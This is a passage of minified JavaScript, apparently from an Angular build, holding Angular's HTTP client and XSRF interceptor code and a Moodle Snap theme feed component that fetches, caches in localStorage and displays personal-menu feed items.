ij(e,t){const n=new Map;return e.length>0&&e.replace(/^\?/,"").split("&").forEach(o=>{const i=o.indexOf("="),[s,a]=-1==i?[t.decodeKey(o),""]:[t.decodeKey(o.slice(0,i)),t.decodeValue(o.slice(i+1))],l=n.get(s)||[];l.push(a),n.set(s,l)}),n}(t.fromString,this.encoder)}else t.fromObject?(this.map=new Map,Object.keys(t.fromObject).forEach(n=>{const r=t.fromObject[n],o=Array.isArray(r)?r.map(_l):[_l(r)];this.map.set(n,o)})):this.map=null}has(t){return this.init(),this.map.has(t)}get(t){this.init();const n=this.map.get(t);return n?n[0]:null}getAll(t){return this.init(),this.map.get(t)||null}keys(){return this.init(),Array.from(this.map.keys())}append(t,n){return this.clone({param:t,value:n,op:"a"})}appendAll(t){const n=[];return Object.keys(t).forEach(r=>{const o=t[r];Array.isArray(o)?o.forEach(i=>{n.push({param:r,value:i,op:"a"})}):n.push({param:r,value:o,op:"a"})}),this.clone(n)}set(t,n){return this.clone({param:t,value:n,op:"s"})}delete(t,n){return this.clone({param:t,value:n,op:"d"})}toString(){return this.init(),this.keys().map(t=>{const n=this.encoder.encodeKey(t);return this.map.get(t).map(r=>n+"="+this.encoder.encodeValue(r)).join("&")}).filter(t=>""!==t).join("&")}clone(t){const n=new Vn({encoder:this.encoder});return n.cloneFrom=this.cloneFrom||this,n.updates=(this.updates||[]).concat(t),n}init(){null===this.map&&(this.map=new Map),null!==this.cloneFrom&&(this.cloneFrom.init(),this.cloneFrom.keys().forEach(t=>this.map.set(t,this.cloneFrom.map.get(t))),this.updates.forEach(t=>{switch(t.op){case"a":case"s":const n=("a"===t.op?this.map.get(t.param):void 0)||[];n.push(_l(t.value)),this.map.set(t.param,n);break;case"d":if(void 0===t.value){this.map.delete(t.param);break}{let r=this.map.get(t.param)||[];const o=r.indexOf(_l(t.value));-1!==o&&r.splice(o,1),r.length>0?this.map.set(t.param,r):this.map.delete(t.param)}}}),this.cloneFrom=this.updates=null)}}class lj{constructor(){this.map=new Map}set(t,n){return this.map.set(t,n),this}get(t){return this.map.has(t)||this.map.set(t,t.defaultValue()),this.map.get(t)}delete(t){return this.map.delete(t),this}has(t){return this.map.has(t)}keys(){return this.map.keys()}}function Hw(e){return typeof ArrayBuffer<"u"&&e instanceof ArrayBuffer}function $w(e){return typeof Blob<"u"&&e instanceof Blob}function Uw(e){return typeof FormData<"u"&&e instanceof FormData}class Qi{constructor(t,n,r,o){let i;if(this.url=n,this.body=null,this.reportProgress=!1,this.withCredentials=!1,this.responseType="json",this.method=t.toUpperCase(),function cj(e){switch(e){case"DELETE":case"GET":case"HEAD":case"OPTIONS":case"JSONP":return!1;default:return!0}}(this.method)||o?(this.body=void 0!==r?r:null,i=o):i=r,i&&(this.reportProgress=!!i.reportProgress,this.withCredentials=!!i.withCredentials,i.responseType&&(this.responseType=i.responseType),i.headers&&(this.headers=i.headers),i.context&&(this.context=i.context),i.params&&(this.params=i.params),this.transferCache=i.transferCache),this.headers||(this.headers=new nt),this.context||(this.context=new lj),this.params){const s=this.params.toString();if(0===s.length)this.urlWithParams=n;else{const a=n.indexOf("?");this.urlWithParams=n+(-1===a?"?":a<n.length-1?"&":"")+s}}else this.params=new Vn,this.urlWithParams=n}serializeBody(){return null===this.body?null:Hw(this.body)||$w(this.body)||Uw(this.body)||function uj(e){return typeof URLSearchParams<"u"&&e instanceof URLSearchParams}(this.body)||"string"==typeof this.body?this.body:this.body instanceof Vn?this.body.toString():"object"==typeof this.body||"boolean"==typeof this.body||Array.isArray(this.body)?JSON.stringify(this.body):this.body.toString()}detectContentTypeHeader(){return null===this.body||Uw(this.body)?null:$w(this.body)?this.body.type||null:Hw(this.body)?null:"string"==typeof this.body?"text/plain":this.body instanceof Vn?"application/x-www-form-urlencoded;charset=UTF-8":"object"==typeof this.body||"number"==typeof this.body||"boolean"==typeof this.body?"application/json":null}clone(t={}){const n=t.method||this.method,r=t.url||this.url,o=t.responseType||this.responseType,i=void 0!==t.body?t.body:this.body,s=void 0!==t.withCredentials?t.withCredentials:this.withCredentials,a=void 0!==t.reportProgress?t.reportProgress:this.reportProgress;let l=t.headers||this.headers,c=t.params||this.params;const u=t.context??this.context;return void 0!==t.setHeaders&&(l=Object.keys(t.setHeaders).reduce((d,f)=>d.set(f,t.setHeaders[f]),l)),t.setParams&&(c=Object.keys(t.setParams).reduce((d,f)=>d.set(f,t.setParams[f]),c)),new Qi(n,r,i,{params:c,headers:l,context:u,reportProgress:a,responseType:o,withCredentials:s})}}var Bn=function(e){return e[e.Sent=0]="Sent",e[e.UploadProgress=1]="UploadProgress",e[e.ResponseHeader=2]="ResponseHeader",e[e.DownloadProgress=3]="DownloadProgress",e[e.Response=4]="Response",e[e.User=5]="User",e}(Bn||{});class ch{constructor(t,n=200,r="OK"){this.headers=t.headers||new nt,this.status=void 0!==t.status?t.status:n,this.statusText=t.statusText||r,this.url=t.url||null,this.ok=this.status>=200&&this.status<300}}class wl extends ch{constructor(t={}){super(t),this.type=Bn.ResponseHeader}clone(t={}){return new wl({headers:t.headers||this.headers,status:void 0!==t.status?t.status:this.status,statusText:t.statusText||this.statusText,url:t.url||this.url||void 0})}}class pr extends ch{constructor(t={}){super(t),this.type=Bn.Response,this.body=void 0!==t.body?t.body:null}clone(t={}){return new pr({body:void 0!==t.body?t.body:this.body,headers:t.headers||this.headers,status:void 0!==t.status?t.status:this.status,statusText:t.statusText||this.statusText,url:t.url||this.url||void 0})}}class Mo extends ch{constructor(t){super(t,0,"Unknown Error"),this.name="HttpErrorResponse",this.ok=!1,this.message=this.status>=200&&this.status<300?`Http failure during parsing for ${t.url||"(unknown url)"}`:`Http failure response for ${t.url||"(unknown url)"}: ${t.status} ${t.statusText}`,this.error=t.error||null}}function uh(e,t){return{body:t,headers:e.headers,context:e.context,observe:e.observe,params:e.params,reportProgress:e.reportProgress,responseType:e.responseType,withCredentials:e.withCredentials,transferCache:e.transferCache}}let dh=(()=>{class e{constructor(n){this.handler=n}request(n,r,o={}){let i;if(n instanceof Qi)i=n;else{let l,c;l=o.headers instanceof nt?o.headers:new nt(o.headers),o.params&&(c=o.params instanceof Vn?o.params:new Vn({fromObject:o.params})),i=new Qi(n,r,void 0!==o.body?o.body:null,{headers:l,context:o.context,params:c,reportProgress:o.reportProgress,responseType:o.responseType||"json",withCredentials:o.withCredentials,transferCache:o.transferCache})}const s=pt(i).pipe(function nj(e,t){return ye(t)?os(e,t,1):os(e,1)}(l=>this.handler.handle(l)));if(n instanceof Qi||"events"===o.observe)return s;const a=s.pipe(function rj(e,t){return wt((n,r)=>{let o=0;n.subscribe(kt(r,i=>e.call(t,i,o++)&&r.next(i)))})}(l=>l instanceof pr));switch(o.observe||"body"){case"body":switch(i.responseType){case"arraybuffer":return a.pipe(Lt(l=>{if(null!==l.body&&!(l.body instanceof ArrayBuffer))throw new Error("Response is not an ArrayBuffer.");return l.body}));case"blob":return a.pipe(Lt(l=>{if(null!==l.body&&!(l.body instanceof Blob))throw new Error("Response is not a Blob.");return l.body}));case"text":return a.pipe(Lt(l=>{if(null!==l.body&&"string"!=typeof l.body)throw new Error("Response is not a string.");return l.body}));default:return a.pipe(Lt(l=>l.body))}case"response":return a;default:throw new Error(`Unreachable: unhandled observe type ${o.observe}}`)}}delete(n,r={}){return this.request("DELETE",n,r)}get(n,r={}){return this.request("GET",n,r)}head(n,r={}){return this.request("HEAD",n,r)}jsonp(n,r){return this.request("JSONP",n,{params:(new Vn).append(r,"JSONP_CALLBACK"),observe:"body",responseType:"json"})}options(n,r={}){return this.request("OPTIONS",n,r)}patch(n,r,o={}){return this.request("PATCH",n,uh(o,r))}post(n,r,o={}){return this.request("POST",n,uh(o,r))}put(n,r,o={}){return this.request("PUT",n,uh(o,r))}static#e=this.\u0275fac=function(r){return new(r||e)(M(Dl))};static#t=this.\u0275prov=V({token:e,factory:e.\u0275fac})}return e})();function Gw(e,t){return t(e)}function gj(e,t){return(n,r)=>t.intercept(n,{handle:o=>e(o,r)})}const yj=new b(""),Zi=new b(""),qw=new b(""),Ww=new b("");function vj(){let e=null;return(t,n)=>{null===e&&(e=(B(yj,{optional:!0})??[]).reduceRight(gj,Gw));const r=B(qd),o=r.add();return e(t,n).pipe(Vw(()=>r.remove(o)))}}let Kw=(()=>{class e extends Dl{constructor(n,r){super(),this.backend=n,this.injector=r,this.chain=null,this.pendingTasks=B(qd);const o=B(Ww,{optional:!0});this.backend=o??n}handle(n){if(null===this.chain){const o=Array.from(new Set([...this.injector.get(Zi),...this.injector.get(qw,[])]));this.chain=o.reduceRight((i,s)=>function mj(e,t,n){return(r,o)=>n.runInContext(()=>t(r,i=>e(i,o)))}(i,s,this.injector),Gw)}const r=this.pendingTasks.add();return this.chain(n,o=>this.backend.handle(o)).pipe(Vw(()=>this.pendingTasks.remove(r)))}static#e=this.\u0275fac=function(r){return new(r||e)(M(El),M(Kt))};static#t=this.\u0275prov=V({token:e,factory:e.\u0275fac})}return e})();const Cj=/^\)\]\}',?\n/;let Zw=(()=>{class e{constructor(n){this.xhrFactory=n}handle(n){if("JSONP"===n.method)throw new E(-2800,!1);const r=this.xhrFactory;return(r.\u0275loadImpl?Gl(r.\u0275loadImpl()):pt(null)).pipe(Wl(()=>new Fe(i=>{const s=r.build();if(s.open(n.method,n.urlWithParams),n.withCredentials&&(s.withCredentials=!0),n.headers.forEach((g,m)=>s.setRequestHeader(g,m.join(","))),n.headers.has("Accept")||s.setRequestHeader("Accept","application/json, text/plain, */*"),!n.headers.has("Content-Type")){const g=n.detectContentTypeHeader();null!==g&&s.setRequestHeader("Content-Type",g)}if(n.responseType){const g=n.responseType.toLowerCase();s.responseType="json"!==g?g:"text"}const a=n.serializeBody();let l=null;const c=()=>{if(null!==l)return l;const g=s.statusText||"OK",m=new nt(s.getAllResponseHeaders()),D=function Ij(e){return"responseURL"in e&&e.responseURL?e.responseURL:/^X-Request-URL:/m.test(e.getAllResponseHeaders())?e.getResponseHeader("X-Request-URL"):null}(s)||n.url;return l=new wl({headers:m,status:s.status,statusText:g,url:D}),l},u=()=>{let{headers:g,status:m,statusText:D,url:y}=c(),_=null;204!==m&&(_=typeof s.response>"u"?s.responseText:s.response),0===m&&(m=_?200:0);let C=m>=200&&m<300;if("json"===n.responseType&&"string"==typeof _){const P=_;_=_.replace(Cj,"");try{_=""!==_?JSON.parse(_):null}catch($){_=P,C&&(C=!1,_={error:$,text:_})}}C?(i.next(new pr({body:_,headers:g,status:m,statusText:D,url:y||void 0})),i.complete()):i.error(new Mo({error:_,headers:g,status:m,statusText:D,url:y||void 0}))},d=g=>{const{url:m}=c(),D=new Mo({error:g,status:s.status||0,statusText:s.statusText||"Unknown Error",url:m||void 0});i.error(D)};let f=!1;const h=g=>{f||(i.next(c()),f=!0);let m={type:Bn.DownloadProgress,loaded:g.loaded};g.lengthComputable&&(m.total=g.total),"text"===n.responseType&&s.responseText&&(m.partialText=s.responseText),i.next(m)},p=g=>{let m={type:Bn.UploadProgress,loaded:g.loaded};g.lengthComputable&&(m.total=g.total),i.next(m)};return s.addEventListener("load",u),s.addEventListener("error",d),s.addEventListener("timeout",d),s.addEventListener("abort",d),n.reportProgress&&(s.addEventListener("progress",h),null!==a&&s.upload&&s.upload.addEventListener("progress",p)),s.send(a),i.next({type:Bn.Sent}),()=>{s.removeEventListener("error",d),s.removeEventListener("abort",d),s.removeEventListener("load",u),s.removeEventListener("timeout",d),n.reportProgress&&(s.removeEventListener("progress",h),null!==a&&s.upload&&s.upload.removeEventListener("progress",p)),s.readyState!==s.DONE&&s.abort()}})))}static#e=this.\u0275fac=function(r){return new(r||e)(M(O_))};static#t=this.\u0275prov=V({token:e,factory:e.\u0275fac})}return e})();const ph=new b("XSRF_ENABLED"),Yw=new b("XSRF_COOKIE_NAME",{providedIn:"root",factory:()=>"XSRF-TOKEN"}),Xw=new b("XSRF_HEADER_NAME",{providedIn:"root",factory:()=>"X-XSRF-TOKEN"});class Jw{}let Tj=(()=>{class e{constructor(n,r,o){this.doc=n,this.platform=r,this.cookieName=o,this.lastCookieString="",this.lastToken=null,this.parseCount=0}getToken(){if("server"===this.platform)return null;const n=this.doc.cookie||"";return n!==this.lastCookieString&&(this.parseCount++,this.lastToken=C_(n,this.cookieName),this.lastCookieString=n),this.lastToken}static#e=this.\u0275fac=function(r){return new(r||e)(M(gn),M(er),M(Yw))};static#t=this.\u0275prov=V({token:e,factory:e.\u0275fac})}return e})();function Mj(e,t){const n=e.url.toLowerCase();if(!B(ph)||"GET"===e.method||"HEAD"===e.method||n.startsWith("http://")||n.startsWith("https://"))return t(e);const r=B(Jw).getToken(),o=B(Xw);return null!=r&&!e.headers.has(o)&&(e=e.clone({headers:e.headers.set(o,r)})),t(e)}var Hn=function(e){return e[e.Interceptors=0]="Interceptors",e[e.LegacyInterceptors=1]="LegacyInterceptors",e[e.CustomXsrfConfiguration=2]="CustomXsrfConfiguration",e[e.NoXsrfProtection=3]="NoXsrfProtection",e[e.JsonpSupport=4]="JsonpSupport",e[e.RequestsMadeViaParent=5]="RequestsMadeViaParent",e[e.Fetch=6]="Fetch",e}(Hn||{});function Nj(...e){const t=[dh,Zw,Kw,{provide:Dl,useExisting:Kw},{provide:El,useExisting:Zw},{provide:Zi,useValue:Mj,multi:!0},{provide:ph,useValue:!0},{provide:Jw,useClass:Tj}];for(const n of e)t.push(...n.\u0275providers);return function $c(e){return{\u0275providers:e}}(t)}const eC=new b("LEGACY_INTERCEPTOR_FN");function Aj(){return function gr(e,t){return{\u0275kind:e,\u0275providers:t}}(Hn.LegacyInterceptors,[{provide:eC,useFactory:vj},{provide:Zi,useExisting:eC,multi:!0}])}let Pj=(()=>{class e{static#e=this.\u0275fac=function(r){return new(r||e)};static#t=this.\u0275mod=Gn({type:e});static#n=this.\u0275inj=Cn({providers:[Nj(Aj())]})}return e})();function Il(e){return wt((t,n)=>{let i,r=null,o=!1;r=t.subscribe(kt(n,void 0,void 0,s=>{i=jt(e(s,Il(e)(t))),r?(r.unsubscribe(),r=null,i.subscribe(n)):o=!0})),o&&(r.unsubscribe(),r=null,i.subscribe(n))})}class aC{sessKey;args}class Lj{stringToHash(t){let n=0;if(0==t.length)return n;for(let r=0;r<t.length;r++)n=(n<<5)-n+t.charCodeAt(r),n&=n;return n}}class lC extends Lj{feedid;page;pagesize;courseId;getHash(){let t=`${this.feedid}_${this.page}_${this.pagesize}`;return this.courseId&&(t=`${t}_${this.courseId}`),this.stringToHash(t)}}let jj=(()=>{class e{http;moodleAjaxUrl="/lib/ajax/service.php";maxLifeTime=1800;static FEED_CACHE_KEY="themeSnapCachedPMFeedResults";httpOptions={headers:new nt({"Content-Type":"application/json"})};constructor(n){this.http=n}setMaxLifeTime(n){this.maxLifeTime=n}getFeed(n,r,o,i,s,a,l){const c=[{error:"No session key present",data:void 0}];if(!r)return pt(c);const u=new aC;u.sessKey=r;const d=new lC;d.feedid=o,d.page=i,d.pagesize=s,d.courseId=l,u.args=d;const f=this.findDataInLocalCache(u);return null!==f?pt(f):this.http.post(`${n}${this.moodleAjaxUrl}?sesskey=${r}`,[{index:0,methodname:"theme_snap_feed",args:{feedid:o,page:i,pagesize:s,maxid:a,courseid:l??void 0}}],this.httpOptions).pipe(Lt(p=>this.extractData(p)),Lt(p=>this.storeDataInLocalCache(u,p)),Il(this.handleError("getFeed",c)))}extractData(n){return n.length?n:[n]}handleError(n="operation",r){return o=>(console.error(o),pt(r))}createLocalCacheKey(n){const r=n.args.getHash();return`${e.FEED_CACHE_KEY}/${n.sessKey}/${r}`}findDataInLocalCache(n){if(void 0===localStorage||0===this.maxLifeTime)return null;const r=this.createLocalCacheKey(n),o=localStorage.getItem(this.createLocalCacheKey(n));if(null===o)return null;const i=JSON.parse(o);return Date.now()/1e3>i.timeCreated+this.maxLifeTime?(localStorage.removeItem(r),null):i.result}storeDataInLocalCache(n,r){if(void 0===localStorage||0===this.maxLifeTime||r[0].error)return r;const o=this.createLocalCacheKey(n);let i={timeCreated:Date.now()/1e3,key:n,result:r};return localStorage.setItem(o,JSON.stringify(i)),r}purgeDataInLocalCache(n,r,o,i,s){if(void 0===localStorage||0===this.maxLifeTime)return;const a=new aC;a.sessKey=n;const l=new lC;l.feedid=r,l.page=o,l.pagesize=i,l.courseId=s,a.args=l;const c=this.createLocalCacheKey(a);localStorage.removeItem(c)}purgeOtherDataInLocalCache(n){if(void 0===localStorage||0===this.maxLifeTime)return;const r=`${e.FEED_CACHE_KEY}/${n}`,o=r.length;for(let i=localStorage.length-1;i>=0;i--){const s=localStorage.key(i);0===s.indexOf(e.FEED_CACHE_KEY)&&s.substring(0,o)!==r&&localStorage.removeItem(s)}}static \u0275fac=function(r){return new(r||e)(M(dh))};static \u0275prov=V({token:e,factory:e.\u0275fac,providedIn:"root"})}return e})();function cC(e,t,n){const r=ye(e)||t||n?{next:e,error:t,complete:n}:e;return r?wt((o,i)=>{var s;null===(s=r.subscribe)||void 0===s||s.call(r);let a=!0;o.subscribe(kt(i,l=>{var c;null===(c=r.next)||void 0===c||c.call(r,l),i.next(l)},()=>{var l;a=!1,null===(l=r.complete)||void 0===l||l.call(r),i.complete()},l=>{var c;a=!1,null===(c=r.error)||void 0===c||c.call(r,l),i.error(l)},()=>{var l,c;a&&(null===(l=r.unsubscribe)||void 0===l||l.call(r)),null===(c=r.finalize)||void 0===c||c.call(r)}))}):rs}let gh=(()=>{class e{errorModal;constructor(){}registerModal(n){this.errorModal=n}relayError(n){this.errorModal.displayError(n)}static \u0275fac=function(r){return new(r||e)};static \u0275prov=V({token:e,factory:e.\u0275fac,providedIn:"root"})}return e})(),uC=(()=>{class e{http;errorReporterService;moodleAjaxUrl="/lib/ajax/service.php";httpOptions={headers:new nt({"Content-Type":"application/json"})};wwwRoot;sessKey;constructor(n,r){this.http=n,this.errorReporterService=r}service(n,r){let o=[{error:"No session key present",data:void 0}];return this.sessKey&&(o=[{error:"No www root present",data:void 0}],this.wwwRoot)?this.http.post(`${this.wwwRoot}${this.moodleAjaxUrl}?sesskey=${this.sessKey}`,[{index:0,methodname:n,args:r}],this.httpOptions).pipe(cC(s=>this.log(`Consuming Moodle service ${n}`)),Il(this.handleError(`Moodle service ${n}`,o))):pt(o)}services(n,r){let o=[{error:"No session key present",data:void 0}];if(!this.sessKey||(o=[{error:"No www root present",data:void 0}],!this.wwwRoot))return pt(o);let i=[];for(let s=0;s<r.length;s++)i.push({index:s,methodname:n,args:r[s]});return this.http.post(`${this.wwwRoot}${this.moodleAjaxUrl}?sesskey=${this.sessKey}`,i,this.httpOptions).pipe(cC(s=>this.log(`Consuming Moodle service ${n}`)),Il(this.handleError(`Moodle service ${n}`,o)))}log(n){}handleError(n="operation",r){return o=>(this.errorReporterService.relayError(o),this.log(`${n} failed: ${o.message}`),pt(r))}extractData(n){if(!n.length){let o=n;return o.error?(this.errorReporterService.relayError(o),null):o.data}let r=n;return r[0].error?(this.errorReporterService.relayError(r[0]),null):r[0].data}static \u0275fac=function(r){return new(r||e)(M(dh),M(gh))};static \u0275prov=V({token:e,factory:e.\u0275fac,providedIn:"root"})}return e})(),dC=(()=>{class e{moodleService;cachedStrings=[];constructor(n){this.moodleService=n}getStrings(n){let o=[],i=[];for(let a=0;a<n.length;a++){let l=n[a],c="theme_snap";if(-1!=l.indexOf(":")){const u=n[a].split(":");l=u[0],c=u[1]}this.cachedStrings[l]?i.push(l):o.push({stringid:l,component:c})}return 0===o.length?pt(this.processStrings(i,[])):this.moodleService.service("core_get_strings",{strings:o}).pipe(Lt(a=>this.moodleService.extractData(a)),Lt(a=>this.processStrings(i,a)))}processStrings(n,r){let o=[];for(let i=0;i<n.length;i++)o[n[i]]=this.cachedStrings[n[i]];for(let i=0;i<r.length;i++)o[r[i].stringid]=r[i].string,this.cachedStrings[r[i].stringid]=r[i].string;return o}static \u0275fac=function(r){return new(r||e)(M(uC))};static \u0275prov=V({token:e,factory:e.\u0275fac,providedIn:"root"})}return e})();function Vj(e,t){if(1&e&&dn(0,"img",9),2&e){const n=ct().$implicit;Pi("src",n.iconUrl,Js),Pi("alt",n.iconDesc),xe("className",n.iconClass)}}function Bj(e,t){1&e&&dn(0,"span",10),2&e&&xe("innerHTML",ct().$implicit.description,Du)}function Hj(e,t){if(1&e&&(he(0,"div"),Nt(1,Vj,1,3,"img",6),he(2,"div",7)(3,"a")(4,"h3"),Ve(5),he(6,"small"),dn(7,"br"),Ve(8),pe()()(),Nt(9,Bj,1,1,"span",8),pe()()),2&e){const n=t.$implicit;(function Jy(e,t,n){Mt(it,Xt,no(v(),e,t,n),!0)})("snap-media-object feeditem ",n.extraClasses,""),eo("data-from-cache",n.fromCache),X(1),xe("ngIf",""!==n.iconUrl),X(2),eo("href",n.urlParameter?n.actionUrl+"&snapfeedsclicked=on":n.actionUrl,Js),X(2),fn(" ",n.title," "),X(1),eo("data-from-cache",n.fromCache),X(2),fn(" ",n.subTitle," "),X(1),xe("ngIf",n.description)}}function $j(e,t){if(1&e&&(he(0,"p",11),Ve(1),pe()),2&e){const n=ct();X(1),xn(n.emptyMessage)}}function Uj(e,t){if(1&e){const n=Ta();he(0,"a",15),wo("click",function(){Es(n);const o=ct(2);return _s(o.reportError(o.errorMsg))}),Ve(1),pe()}if(2&e){const n=ct(2);X(1),fn(" ",n.strings.viewmore," ")}}function zj(e,t){if(1&e&&(he(0,"div",12)(1,"button",13),Ve(2,"\xd7"),pe(),Ve(3),Nt(4,Uj,2,1,"a",14),pe()),2&e){const n=ct();X(3),fn(" ",n.strings.errorgettingfeed," "),X(1),xe("ngIf",n.errorMsg&&n.feedError)}}function Gj(e,t){if(1&e){const n=Ta();he(0,"a",16),wo("click",function(o){return Es(n),_s(ct().getFeed(o))}),he(1,"small"),Ve(2),pe(),dn(3,"i",17),pe()}if(2&e){const n=ct();Ra("title","",n.viewMoreMessage," ",n.title.toLowerCase(),""),X(2),xn(n.viewMoreMessage)}}function qj(e,t){if(1&e){const n=Ta();he(0,"a",16),wo("click",function(){return Es(n),_s(ct().purgeDataAndResetFeed())}),he(1,"small"),Ve(2),pe(),dn(3,"i",18),pe()}if(2&e){const n=ct();Ra("title","",n.reloadMessage," ",n.title.toLowerCase(),""),X(2),xn(n.reloadMessage)}}function Wj(e,t){if(1&e&&(he(0,"span",19)(1,"a",20),Ve(2),pe()()),2&e){const n=ct();X(2),fn("",n.loadingFeed," ")}}let Kj=(()=>{class e{feedService;stringService;moodleService;errorReporterService;elemId;title;feedId;sessKey;showReload;virtualPaging;pageSize;emptyMessage;viewMoreMessage;reloadMessage;initialValue;wwwRoot;maxLifeTime;waitForPersonalMenu;courseId;loadingFeed;nextPage;feedItems;feedItemTotal;resetInProgress;viewMoreEnabled;fetchingData;feedError;retryFeed;errorMsg;strings;feedItemCache;constructor(n,r,o,i){this.feedService=n,this.stringService=r,this.moodleService=o,this.errorReporterService=i}ngOnInit(){if(this.moodleService.sessKey=this.sessKey,this.moodleService.wwwRoot=this.wwwRoot,this.feedError=!1,this.errorMsg=null,this.getStrings(),this.initFeedService(),this.feedItems=[],this.initialValue){let n=JSON.parse(this.decodeHtmlSpecialChars(this.initialValue));n.length>0?(this.nextPage=0,this.feedItemCache=[],this.resetInProgress=!0,this.virtualPaging?(this.feedItemCache=n,this.nextPage=1,this.processVirtualPaging()):this.processNextPage(n)):(this.feedItemTotal=0,this.nextPage=-1)}else(!this.waitForPersonalMenu||document.querySelectorAll("body.snap-pm-open").length>0||document.querySelectorAll("#snap_feeds_side_menu .snap-feeds").length>0)&&this.resetFeed()}initFeedService(){this.feedService.purgeOtherDataInLocalCache(this.sessKey),null!=this.maxLifeTime&&this.maxLifeTime>=0&&this.feedService.setMaxLifeTime(+this.maxLifeTime)}getFeed(n){if(this.viewMoreEnabled=!1,this.fetchingData=!0,this.feedError=!1,this.errorMsg=null,this.retryFeed=!1,n&&n.preventDefault(),this.processVirtualPaging())return this.viewMoreEnabled=!0,void(this.fetchingData=!1);this.feedService.getFeed(this.wwwRoot,this.sessKey,this.feedId,this.nextPage,this.pageSize,!this.resetInProgress&&this.feedItems[0]&&this.feedItems[0].itemId||-1,this.courseId).subscribe(o=>{if(void 0===o||o[0].error)return this.viewMoreEnabled=!1,this.feedError=!0,o[0].exception&&"retryfeed"===o[0].exception.errorcode?(this.retryFeed=!0,setTimeout(()=>{this.getFeed()},5e3)):this.fetchingData=!1,void(this.errorMsg=o[0]);const i=o[0].data;this.virtualPaging&&i.length>0?(this.feedItemCache=i,this.nextPage=1,this.processVirtualPaging()):this.processNextPage(i),this.viewMoreEnabled=!0,this.fetchingData=!1})}processVirtualPaging(){if(!this.virtualPaging||0===this.feedItemCache.length)return!1;if(this.nextPage<0)return!0;const n=+this.pageSize,r=this.feedItemCache.length,o=n*(this.nextPage-1);if(o<=r){let a=o+n;a=a>r?r:a;const l=this.feedItemCache.slice(o,a);this.processNextPage(l)}return!0}processNextPage(n){this.resetInProgress&&(this.feedItems=[],this.resetInProgress=!1),this.feedItems=this.feedItems.concat(n),this.feedItemTotal=this.feedItems.length,n.length==this.pageSize?this.nextPage++:this.nextPage=-1}resetFeed(n){n&&n.preventDefault(),!this.resetInProgress&&(this.nextPage=0,this.feedItemCache=[],this.resetInProgress=!0,this.getFeed())}purgeDataAndResetFeed(n){n&&n.preventDefault();const r=this.nextPage>0?this.nextPage:1;for(let o=0;o<r;o++)this.feedService.purgeDataInLocalCache(this.sessKey,this.feedId,o,this.pageSize,this.courseId);this.resetFeed()}decodeHtmlSpecialChars(n){const r={"&":"&","&":"&","<":"<",">":">",""":'"',"'":"'","’":"\u2019","‘":"\u2018","–":"\u2013","—":"\u2014","…":"\u2026","”":"\u201d"};return n.replace(/\&[\w\d\#]{2,5}\;/g,function(o){return r[o]})}getStrings(){this.strings=[],this.stringService.getStrings(["viewmore","errorgettingfeed"]).subscribe(n=>{this.strings=n})}reportError(n){this.errorReporterService.relayError(n)}static \u0275fac=function(r){return new(r||e)(L(jj),L(dC),L(uC),L(gh))};static \u0275cmp=cc({type:e,selectors:[["snap-feed"]],hostBindings:function(r,o){1&r&&wo("snapPersonalMenuOpen",function(s){return o.resetFeed(s)},0,xg)},inputs:{elemId:"elemId",title:"title",feedId:"feedId",sessKey:"sessKey",showReload:"showReload",virtualPaging:"virtualPaging",pageSize:"pageSize",emptyMessage:"emptyMessage",viewMoreMessage:"viewMoreMessage",reloadMessage:"reloadMessage",initialValue:"initialValue",wwwRoot:"wwwRoot",maxLifeTime:"maxLifeTime",waitForPersonalMenu:"waitForPersonalMenu",courseId:"courseId",loadingFeed:"loadingFeed"},decls:9,vars:9,consts:[[3,"id"],[3,"class",4,"ngFor","ngForOf"],["class","small",4,"ngIf"],["class","alert alert-danger alert-block fade in","role","alert",4,"ngIf"],["href","javascript: void(0);","class","snap-personal-menu-more",3,"title","click",4,"ngIf"],["class","snap-personal-menu-more snap-personal-menu-feed-loading",4,"ngIf"],[3,"src","alt","className",4,"ngIf"],[1,"snap-media-body"],["class","snap-media-meta",3,"innerHTML",4,"ngIf"],[3,"src","alt","className"],[1,"snap-media-meta",3,"innerHTML"],[1,"small"],["role","alert",1,"alert","alert-danger","alert-block","fade","in"],["type","button","data-dismiss","alert","aria-label","Close",1,"close"],["class","view-more-error",3,"click",4,"ngIf"],[1,"view-more-error",3,"click"],["href","javascript: void(0);",1,"snap-personal-menu-more",3,"title","click"],[1,"snap-feeds-more-icon","fa","fa-caret-down"],[1,"snap-feeds-refresh-icon","fa","fa-refresh"],[1,"snap-personal-menu-more","snap-personal-menu-feed-loading"],[1,"small","text-muted"]],template:function(r,o){1&r&&(he(0,"h2"),Ve(1),pe(),he(2,"div",0),Nt(3,Hj,10,10,"div",1)(4,$j,2,1,"p",2),pe(),Nt(5,zj,5,2,"div",3)(6,Gj,4,3,"a",4)(7,qj,4,3,"a",4)(8,Wj,3,1,"span",5)),2&r&&(X(1),xn(o.title),X(1),Pi("id",o.elemId),xe("@growIn",o.feedItemTotal),X(1),xe("ngForOf",o.feedItems),X(1),xe("ngIf",0==o.feedItemTotal),X(1),xe("ngIf",!0===o.feedError&&!o.retryFeed),X(1),xe("ngIf",o.viewMoreEnabled&&o.nextPage>=0),X(1),xe("ngIf",-1===o.nextPage&&o.showReload),X(1),xe("ngIf",o.fetchingData))},dependencies:[S_,wf],styles:[".view-more-error{cursor:pointer}\n"],encapsulation:2,data:{animation:[sk("growIn",[ew(":increment",[tw(":enter",[$i({opacity:0,transform:"translateY(-100px)",height:0}),nw(100,[J_("500ms cubic-bezier(0.35, 0, 0.25, 1)",$i({opacity:1,transform:"none",height:"*"}))])],{optional:!0})]),ew(":decrement",[tw(":leave",[nw(50,[J_("300ms ease-out",$i({opacity:0,height:"0px"}))])],{optional:!0})])])]}})}return e})();const fC={now:()=>(fC.delegate||Date).now(),delegate:void 0};class Qj extends Po{constructor(t=1/0,n=1/0,r=fC){super(),this._bufferSize=t,this._windowTime=n,this._timestampProvider=r,this._buffer=[],this._infiniteTimeWindow=!0,this._infiniteTimeWindow=n===1/0,this._bufferSize=Math.max(1,t),this._windowTime=Math.max(1,n)}next(t){const{isStopped:n,_buffer:r,_infiniteTimeWindow:o,_timestampProvider:i,_windowTime:s}=this;n||(r.push(t),!o&&r.push(i.now()+s)),this._trimBuffer(),super.next(t)}_subscribe(t){this._throwIfClosed(),this._trimBuffer();const n=this._innerSubscribe(t),{_infiniteTimeWindow:r,_buffer:o}=this,i=o.slice();for(let s=0;s<i.length&&!t.closed;s+=r?1:2)t.next(i[s]);return 